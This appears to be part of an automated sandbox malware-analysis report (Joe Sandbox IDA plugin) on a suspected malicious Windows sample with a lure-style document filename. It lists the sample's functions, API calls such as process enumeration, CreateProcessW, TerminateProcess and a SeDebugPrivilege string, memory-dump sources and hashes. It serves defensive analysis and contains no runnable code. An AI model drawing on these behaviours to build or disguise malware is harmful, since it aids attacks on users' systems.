                                                • API String ID: 560350794-0
                                                • Opcode ID: f09ded3e010b751b49e9627f3f9d5647a334d460e381f65664c2ad444850840d
                                                • Instruction ID: cc12487349e0ec8a9772369cba54d123f89e27c653757489cbe706603c13c250
                                                • Opcode Fuzzy Hash: f09ded3e010b751b49e9627f3f9d5647a334d460e381f65664c2ad444850840d
                                                • Instruction Fuzzy Hash: D2F12971A00209EFDB14DF94C898EBEB7B9FF89314F158059FA15AB250DB31AE45CB60
                                                Function 00DFF9A8 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON
                                                Download Yara Rule
                                                APIs
                                                • _memset.LIBCMT ref: 00DFF9C9
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DFFB5C
                                                • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00DFFB80
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DFFBC0
                                                • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00DFFBE2
                                                • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00DFFD5E
                                                • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00DFFD90
                                                • CloseHandle.KERNEL32(?), ref: 00DFFDBF
                                                • CloseHandle.KERNEL32(?), ref: 00DFFE36
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
                                                • String ID:
                                                • API String ID: 4090791747-0
                                                • Opcode ID: 66c6b7ea944ef3808d00e9e618ed74c7627ebd92886ea41cbc2100f1fb2af8a6
                                                • Instruction ID: 69ccd83b4326987c08606719aa228743affdcadedfe879320d867f8f00c6e014
                                                • Opcode Fuzzy Hash: 66c6b7ea944ef3808d00e9e618ed74c7627ebd92886ea41cbc2100f1fb2af8a6
                                                • Instruction Fuzzy Hash: 6BE1C2312043449FCB14EF24C891A7ABBE1EF85354F19886DF9999B2A2DB31DC45CB72
                                                Function 00DE4F63 Relevance: 13.7, APIs: 9, Instructions: 170filestringCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DE48AA: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00DE38D3,?), ref: 00DE48C7
                                                  • Part of subcall function 00DE48AA: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00DE38D3,?), ref: 00DE48E0
                                                  • Part of subcall function 00DE4CD3: GetFileAttributesW.KERNEL32(?,00DE3947), ref: 00DE4CD4
                                                • lstrcmpiW.KERNEL32(?,?), ref: 00DE4FE2
                                                • _wcscmp.LIBCMT ref: 00DE4FFC
                                                • MoveFileW.KERNEL32(?,?), ref: 00DE5017
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FileFullNamePath$AttributesMove_wcscmplstrcmpi
                                                • String ID:
                                                • API String ID: 793581249-0
                                                • Opcode ID: af9e64051f1ed1e95673ff515a59289a2f35bf3bfcc2343e6a625d09829f0c4c
                                                • Instruction ID: 7b162af1a57195269c8918ff2102c485333061615f4acee706393a50cd493a74
                                                • Opcode Fuzzy Hash: af9e64051f1ed1e95673ff515a59289a2f35bf3bfcc2343e6a625d09829f0c4c
                                                • Instruction Fuzzy Hash: 63515EB20087859BC624EB61D8819DFB3ECEF85341F14092EF289D3152EE74E2888776
                                                Function 00E088B4 Relevance: 13.7, APIs: 9, Instructions: 168COMMON
                                                Download Yara Rule
                                                APIs
                                                • InvalidateRect.USER32(?,00000000,00000001,?,00000001), ref: 00E0896E
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: InvalidateRect
                                                • String ID:
                                                • API String ID: 634782764-0
                                                • Opcode ID: 609df7ee5102e53f77dbb722582567467127334d0aa80dceb6b085d595ee3745
                                                • Instruction ID: 36c39c3c9f90d7be7d2a9c716510e1b2af180637895084c05b653b39d9080c26
                                                • Opcode Fuzzy Hash: 609df7ee5102e53f77dbb722582567467127334d0aa80dceb6b085d595ee3745
                                                • Instruction Fuzzy Hash: 4C51A230600308BEDB349F29CE85BA93BB5FB15354F906112F594F69E1DF71A9D08BA1
                                                Function 00D82B72 Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadImageW.USER32(00000000,?,00000001,00000010,00000010,00000010), ref: 00DBC547
                                                • ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00DBC569
                                                • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00DBC581
                                                • ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00DBC59F
                                                • SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00DBC5C0
                                                • DestroyIcon.USER32(00000000), ref: 00DBC5CF
                                                • SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00DBC5EC
                                                • DestroyIcon.USER32(?), ref: 00DBC5FB
                                                  • Part of subcall function 00E0A71E: DeleteObject.GDI32(00000000), ref: 00E0A757
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
                                                • String ID:
                                                • API String ID: 2819616528-0
                                                • Opcode ID: 3bed7668ecc0c041dd98eeb029870aafd87c4c5010888a222bc38330a8deaa78
                                                • Instruction ID: 180c36afdcaeb23e34818808d41422ab45e756e8aac8c2572a23b0e1dd06e380
                                                • Opcode Fuzzy Hash: 3bed7668ecc0c041dd98eeb029870aafd87c4c5010888a222bc38330a8deaa78
                                                • Instruction Fuzzy Hash: 81514474A10209EFDB24EF25CC45FBA3BF5EB58320F140529F942A76A0DB71E991DB60
                                                Function 00DD8E03 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,00DD8A84,00000B00,?,?), ref: 00DD8E0C
                                                • HeapAlloc.KERNEL32(00000000,?,00DD8A84,00000B00,?,?), ref: 00DD8E13
                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,00DD8A84,00000B00,?,?), ref: 00DD8E28
                                                • GetCurrentProcess.KERNEL32(?,00000000,?,00DD8A84,00000B00,?,?), ref: 00DD8E30
                                                • DuplicateHandle.KERNEL32(00000000,?,00DD8A84,00000B00,?,?), ref: 00DD8E33
                                                • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00DD8A84,00000B00,?,?), ref: 00DD8E43
                                                • GetCurrentProcess.KERNEL32(00DD8A84,00000000,?,00DD8A84,00000B00,?,?), ref: 00DD8E4B
                                                • DuplicateHandle.KERNEL32(00000000,?,00DD8A84,00000B00,?,?), ref: 00DD8E4E
                                                • CreateThread.KERNEL32(00000000,00000000,00DD8E74,00000000,00000000,00000000), ref: 00DD8E68
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                • String ID:
                                                • API String ID: 1957940570-0
                                                • Opcode ID: 780a91e9c47677321067aa3876f4eb886ed7fb68c30a07b0bd489562a9f8894b
                                                • Instruction ID: 08a123ee157cc98f82663a27f71002e98f8f19633d94797da3d6e04434fa5dee
                                                • Opcode Fuzzy Hash: 780a91e9c47677321067aa3876f4eb886ed7fb68c30a07b0bd489562a9f8894b
                                                • Instruction Fuzzy Hash: 2901AC75641304FFE620AB65DC49F573B6CEB89711F004421FA05DB5A2CA71D8548A20
                                                Function 00DF9A72 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DD7652: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?,?,?,00DD799D), ref: 00DD766F
                                                  • Part of subcall function 00DD7652: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?,?), ref: 00DD768A
                                                  • Part of subcall function 00DD7652: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?,?), ref: 00DD7698
                                                  • Part of subcall function 00DD7652: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00DD758C,80070057,?), ref: 00DD76A8
                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00DF9B1B
                                                • _memset.LIBCMT ref: 00DF9B28
                                                • _memset.LIBCMT ref: 00DF9C6B
                                                • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00DF9C97
                                                • CoTaskMemFree.OLE32(?), ref: 00DF9CA2
                                                Strings
                                                • NULL Pointer assignment, xrefs: 00DF9CF0
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                • String ID: NULL Pointer assignment
                                                • API String ID: 1300414916-2785691316
                                                • Opcode ID: 16e19afb39d78cfc087ebd3a7cfc8e84b6807836297b48fe1aa02cd9ca5c712d
                                                • Instruction ID: 92d103ae54e0b168bbfe4d2f62b91dff1b3d8dfafd77003e7ca6d9a3d7e46c70
                                                • Opcode Fuzzy Hash: 16e19afb39d78cfc087ebd3a7cfc8e84b6807836297b48fe1aa02cd9ca5c712d
                                                • Instruction Fuzzy Hash: BA913971D0021DABDB10DFA5DC95AEEBBB9EF08710F20815AF519A7241DB31AA44CFB0
                                                Function 00E06FEF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendMessageW.USER32(00000000,00001036,00000010,00000010), ref: 00E07093
                                                • SendMessageW.USER32(?,00001036,00000000,?), ref: 00E070A7
                                                • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013), ref: 00E070C1
                                                • _wcscat.LIBCMT ref: 00E0711C
                                                • SendMessageW.USER32(?,00001057,00000000,?), ref: 00E07133
                                                • SendMessageW.USER32(?,00001061,?,0000000F), ref: 00E07161
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: MessageSend$Window_wcscat
                                                • String ID: SysListView32
                                                • API String ID: 307300125-78025650
                                                • Opcode ID: 889cfee57d041c5fcb0a8aac8014481f79fc164c579bb6b3118e2279b994ec7d
                                                • Instruction ID: 368be026b873f9d0b51b2ae24a53f9c6a838600d4f8c128b89e5d54731a315cf
                                                • Opcode Fuzzy Hash: 889cfee57d041c5fcb0a8aac8014481f79fc164c579bb6b3118e2279b994ec7d
                                                • Instruction Fuzzy Hash: 3F41A170A04308AFEB219F64CC85BEE77A8EF08354F10152AF585B71D1D672ADC58B60
                                                Function 00DFEC47 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00DE3E91: CreateToolhelp32Snapshot.KERNEL32 ref: 00DE3EB6
                                                  • Part of subcall function 00DE3E91: Process32FirstW.KERNEL32(00000000,?), ref: 00DE3EC4
                                                  • Part of subcall function 00DE3E91: CloseHandle.KERNEL32(00000000), ref: 00DE3F8E
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DFECB8
                                                • GetLastError.KERNEL32 ref: 00DFECCB
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00DFECFA
                                                • TerminateProcess.KERNEL32(00000000,00000000), ref: 00DFED77
                                                • GetLastError.KERNEL32(00000000), ref: 00DFED82
                                                • CloseHandle.KERNEL32(00000000), ref: 00DFEDB7
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                • String ID: SeDebugPrivilege
                                                • API String ID: 2533919879-2896544425
                                                • Opcode ID: b7272a67ab5e97b012df255904e1cb9ac7f6ea4f4ea897f7adb73a0d3f3a5014
                                                • Instruction ID: 3db4d3c48838670c32aa3eaa09c483c1fd6c80341bdec73f271558a6ef873c2a
                                                • Opcode Fuzzy Hash: b7272a67ab5e97b012df255904e1cb9ac7f6ea4f4ea897f7adb73a0d3f3a5014
                                                • Instruction Fuzzy Hash: 26419C712002049FDB24EF24CCA5F7DB7A5EF80714F088059FA869B2D2DB75A858CBB1
                                                Function 00DE3226 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadIconW.USER32(00000000,00007F03), ref: 00DE32C5
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: IconLoad
                                                • String ID: blank$info$question$stop$warning
                                                • API String ID: 2457776203-404129466
                                                • Opcode ID: 3f4ca163086b4d6be725ee0d7808ff593b10c9ad3eec21fa3a359f322f573d9e
                                                • Instruction ID: cbf1e61795e5188fee510c4a257c9132d32f5f9c28cac1090fe4f883d13a27af
                                                • Opcode Fuzzy Hash: 3f4ca163086b4d6be725ee0d7808ff593b10c9ad3eec21fa3a359f322f573d9e
                                                • Instruction Fuzzy Hash: 8F11EB316087C67AD7056A56DC4AD7FB79CDF19370F14002AFA80A7181D6A59B4046B9
                                                Function 00DE4534 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00DE454E
                                                • LoadStringW.USER32(00000000), ref: 00DE4555
                                                • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00DE456B
                                                • LoadStringW.USER32(00000000), ref: 00DE4572
                                                • _wprintf.LIBCMT ref: 00DE4598
                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00DE45B6
                                                Strings
                                                • %s (%d) : ==> %s: %s %s, xrefs: 00DE4593
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: HandleLoadModuleString$Message_wprintf
                                                • String ID: %s (%d) : ==> %s: %s %s
                                                • API String ID: 3648134473-3128320259
                                                • Opcode ID: 6d5d7d0de9528f562772e6d3430a06c76b1a7e64d33e6c9da1e11cd72d76efe5
                                                • Instruction ID: 4ab8e9d9738f04d57c542cb46a655c15eead8de50afd24f8ac69136b4e5871ca
                                                • Opcode Fuzzy Hash: 6d5d7d0de9528f562772e6d3430a06c76b1a7e64d33e6c9da1e11cd72d76efe5
                                                • Instruction Fuzzy Hash: 880144F2900208BFE720E7A59D89EE7776CD708301F4005A5F745E2051EA759ED58B70
                                                Function 00E0D74C Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00D82612: GetWindowLongW.USER32(?,000000EB), ref: 00D82623
                                                • GetSystemMetrics.USER32(0000000F), ref: 00E0D78A
                                                • GetSystemMetrics.USER32(0000000F), ref: 00E0D7AA
                                                • MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00E0D9E5
                                                • SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00E0DA03
                                                • SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00E0DA24
                                                • ShowWindow.USER32(00000003,00000000), ref: 00E0DA43
                                                • InvalidateRect.USER32(?,00000000,00000001), ref: 00E0DA68
                                                • DefDlgProcW.USER32(?,00000005,?,?), ref: 00E0DA8B
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
                                                • String ID:
                                                • API String ID: 1211466189-0
                                                • Opcode ID: a069a863e2717641521630a0b28451e47e872d8b4ce91e0190e459139fc2e102
                                                • Instruction ID: 42c69ffb2abfc774b0dc81a1cf47cc0088669038f7967abdb751b0d19ade5c05
                                                • Opcode Fuzzy Hash: a069a863e2717641521630a0b28451e47e872d8b4ce91e0190e459139fc2e102
                                                • Instruction Fuzzy Hash: F7B1BB31604215EFDF18CFA9C9857BE7BB1FF48714F089069EC48AB295D771A990CBA0
                                                Function 00D82A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00DBC417,00000004,00000000,00000000,00000000), ref: 00D82ACF
                                                • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00DBC417,00000004,00000000,00000000,00000000,000000FF), ref: 00D82B17
                                                • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,00DBC417,00000004,00000000,00000000,00000000), ref: 00DBC46A
                                                • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00DBC417,00000004,00000000,00000000,00000000), ref: 00DBC4D6
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: ShowWindow
                                                • String ID:
                                                • API String ID: 1268545403-0
                                                • Opcode ID: 143759d855d9faf1c1d55dbc56b8dd87b04e8895d636113792095f619efeaa16
                                                • Instruction ID: e1141b6afedb2ed54c5938f91edc93f55e5559296a5472e2807e0976bccfe72b
                                                • Opcode Fuzzy Hash: 143759d855d9faf1c1d55dbc56b8dd87b04e8895d636113792095f619efeaa16
                                                • Instruction Fuzzy Hash: 94411934214680AEC73DAB29DC98BBB7BA2FF86310F1C841DE09756560C636F885D731
                                                Function 00DE7368 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(?,000001F5), ref: 00DE737F
                                                  • Part of subcall function 00DA0FF6: std::exception::exception.LIBCMT ref: 00DA102C
                                                  • Part of subcall function 00DA0FF6: __CxxThrowException@8.LIBCMT ref: 00DA1041
                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00DE73B6
                                                • EnterCriticalSection.KERNEL32(?), ref: 00DE73D2
                                                • _memmove.LIBCMT ref: 00DE7420
                                                • _memmove.LIBCMT ref: 00DE743D
                                                • LeaveCriticalSection.KERNEL32(?), ref: 00DE744C
                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00DE7461
                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00DE7480
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1365643548.0000000000D81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D80000, based on PE: true
                                                • Associated: 00000000.00000002.1365615815.0000000000D80000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E0F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365730660.0000000000E35000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365770750.0000000000E3F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1365785242.0000000000E48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d80000_2024 Lusail Fence-WITH STICKER-2-003.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                                • String ID:
                                                • API String ID: 256516436-0
                                                • Opcode ID: 09ed6789071de032cff5f6358ff5a44462d7599756556ac7d82c7027a7319dd5
                                                • Instruction ID: bdeb3b984ede4a377b0fdb08eb85f1f81813576e5b45626c498504a98c18175c
                                                • Opcode Fuzzy Hash: 09ed6789071de032cff5f6358ff5a44462d7599756556ac7d82c7027a7319dd5
                                                • Instruction Fuzzy Hash: E131AD35904205EFCF10EF65DC85AAEBBB8EF45310F1440A9F904AB256DB70DA54CBB4
                                                Function 00E06442 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • DeleteObject.GDI32(00000000), ref: 00E0645A
                                                • GetDC.USER32(00000000), ref: 00E06462
